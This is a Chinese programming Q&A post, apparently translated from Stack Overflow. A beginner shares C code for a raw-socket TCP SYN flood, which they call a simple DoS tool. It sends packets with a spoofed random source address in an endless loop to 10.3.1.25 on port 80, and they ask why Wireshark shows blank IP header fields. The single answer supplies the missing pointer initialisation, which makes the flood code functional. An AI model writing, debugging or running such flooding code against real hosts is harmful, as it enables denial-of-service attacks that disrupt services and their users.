Question

我是Linux C的新入门者并尝试制作一个关于制作IP数据包的程序，它就像一个简单的DoS工具。当我完成代码时，我捕获了数据包并使用Wireshark分析了数据包，IP版本为0，标头长度也为0。为什么会这样。

我没有添加校验和部分。

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <strings.h>
#include <fcntl.h>
#include <sys/types.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>

int main(int argc, char **argv[])
{
    char buffer[100];
    struct sockaddr_in addr;
    struct ip *ip;
    struct tcphdr *tcp;
    int head_len,sockfd, on = 1;
    head_len = sizeof (struct ip) + sizeof (struct tcphdr);
    bzero(buffer,100);
    addr.sin_family = AF_INET;
    addr.sin_port = htons(80);
    addr.sin_addr.s_addr = inet_addr("10.3.1.25");
    sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
    setsockopt(sockfd,IPPROTO_IP, IP_HDRINCL, &on,sizeof(on));
    ip->ip_v = IPVERSION;
    ip->ip_hl = sizeof(struct ip)>>2;
    ip->ip_tos = 0;
    ip->ip_len = htons(head_len);
    ip->ip_id = 0;
    ip->ip_off = 0;
    ip->ip_ttl = 255;
    ip->ip_p = IPPROTO_TCP;
    ip->ip_src.s_addr = random();
    ip->ip_dst = addr.sin_addr;
    tcp = (struct tcphdr *)(buffer + sizeof(struct ip));
    tcp->source = htons(8888);
    tcp->dest = addr.sin_port;
    tcp->seq = random();
    tcp->ack_seq = 0;
    tcp->doff = 5;
    tcp->syn = 1;
    tcp->check = 0;
    setuid(getpid());
    sizeof(struct tcphdr());
    printf("phase 3 ok\n");

    while (1)
    {
            if(sendto (sockfd, buffer, head_len, 0, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) < 1)
            printf("error");
    }
}

Answer 1

您忘了初始化ip;我假设你不见了

ip = (struct ip*)buffer;

关于IP包的空字段

1 个答案: